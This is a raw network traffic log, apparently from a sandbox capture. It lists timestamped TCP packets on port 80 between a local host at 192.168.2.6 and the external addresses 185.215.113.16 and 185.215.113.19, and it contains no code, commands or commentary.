Jul 26, 2024 13:49:34.951165915 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.951199055 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.952080965 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.952116966 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.952150106 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.952280045 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.953761101 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.953814030 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.953845024 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.954636097 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.954677105 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.954711914 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.959950924 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.959983110 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.960016012 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.961400986 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.961435080 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.961467028 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.961558104 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.961590052 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.961694956 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.961726904 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.961756945 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.961920023 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.961952925 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.961983919 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.962095976 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.962126970 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.962160110 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.962192059 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.962225914 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.962580919 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.962662935 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.962693930 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.963007927 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.963094950 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.963128090 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.963287115 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.963320017 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.963352919 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.963423967 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.963511944 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.963541031 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.963572025 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.963604927 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.963639021 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.963747025 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.963778973 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.963852882 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.963866949 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.963946104 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.963958025 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.963968039 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.963979006 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.963988066 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.967241049 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.967483997 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.967530012 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.967567921 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.967607021 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.982691050 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.982726097 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.982784986 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.982795954 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.982935905 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.982975006 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.983015060 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.983048916 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.983059883 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.983069897 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.983335972 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.983345985 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.983356953 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.983367920 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.983377934 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.983387947 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.983787060 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.983795881 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.983807087 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.983817101 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.983828068 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.983838081 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.984993935 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.985054970 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.985068083 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.985251904 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.985261917 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.985272884 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.985456944 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.986794949 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:34.992523909 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.992594004 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.992605925 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.992755890 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.992768049 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.992779016 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.992974043 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.994807959 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.994827986 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.994838953 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.994967937 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.995024920 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.995044947 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.995055914 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.995337009 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.995347977 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.995357037 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.995368958 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.995378971 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.995390892 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.995400906 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.995413065 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.995904922 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.995913982 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.995923996 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.995933056 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.995943069 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.995951891 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.995961905 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.995973110 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.995985031 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:34.995995045 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.002120018 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.012044907 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.012332916 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.012363911 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.012423038 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.042773008 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.042793989 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.042819023 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.042825937 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.042839050 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.042850971 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.043030024 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.043080091 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.043092966 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.043104887 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.043354988 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.043370008 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.043381929 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.043394089 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.043406963 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.043418884 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.043450117 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.043546915 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.043822050 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.043888092 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.043899059 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.044033051 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.044044971 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.044055939 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.044068098 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.044276953 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.044341087 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.051107883 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.051120996 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.051132917 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.051245928 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.051377058 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.051445961 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.051457882 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.051527023 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.051611900 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.051695108 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.052763939 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.052777052 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.052787066 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.052853107 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.052864075 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.052901983 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.052915096 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.052925110 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.052937031 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.053148031 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.053277016 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.053289890 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.053301096 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.053313017 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.053327084 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.053350925 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.053678989 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.053690910 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.053702116 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.053719997 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.053752899 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.054040909 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.054086924 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.054090023 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.054104090 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.054132938 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.054158926 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.054333925 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.054346085 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.054357052 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.054368973 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.054377079 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.054405928 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.055017948 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.055152893 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.055165052 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.055176020 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.055448055 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.055474043 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.055496931 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.055507898 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.055520058 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.055531025 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.055696964 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.055712938 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.055731058 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.055741072 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.055752993 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.055763006 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.055836916 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.070359945 CEST	59067	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:35.070666075 CEST	59072	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:35.073256016 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.073909044 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.075555086 CEST	80	59072	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:35.075920105 CEST	80	59067	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:35.078562021 CEST	59067	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:35.078584909 CEST	59072	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:35.086019993 CEST	59072	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:35.090825081 CEST	80	59072	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:35.100047112 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.100081921 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.100094080 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.100195885 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.100300074 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.100315094 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.100322962 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.100325108 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.100708008 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.100720882 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.100733042 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.100744963 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.100934982 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.101015091 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.101027012 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.101036072 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.101217985 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.101288080 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.101300001 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.101457119 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.101468086 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.101478100 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.102260113 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.102391005 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.102422953 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.110862017 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.110903978 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.110918045 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.112037897 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.112049103 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.113188028 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.113240957 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.113250971 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.115741968 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.115973949 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.116194010 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.116257906 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.116270065 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.116405964 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.116417885 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.116429090 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.116441011 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.116722107 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.116734028 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.116745949 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.116758108 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.116767883 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.116799116 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.117192030 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.117202997 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.117213011 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.117223978 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.117233992 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.117244959 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.117255926 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.117265940 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.117276907 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.117285967 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.127024889 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.127787113 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.128820896 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.128869057 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.128891945 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.133193970 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.133233070 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.133423090 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.133434057 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.133542061 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.133553982 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.133697987 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.133708954 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.133719921 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.133846998 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.133867025 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.133877993 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.133888960 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.133940935 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.134032965 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.134110928 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.134121895 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.134131908 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.134143114 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.134154081 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.134368896 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.134423971 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.134428978 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.134440899 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.134639025 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.134650946 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.134660959 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.134793997 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.134804964 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.134815931 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.134826899 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.134861946 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.134958982 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.141836882 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.141885996 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.141895056 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.141896009 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.141928911 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.141964912 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.142065048 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.142075062 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.142086029 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.142152071 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.143397093 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.143451929 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.143462896 CEST	80	59056	185.215.113.16	192.168.2.6
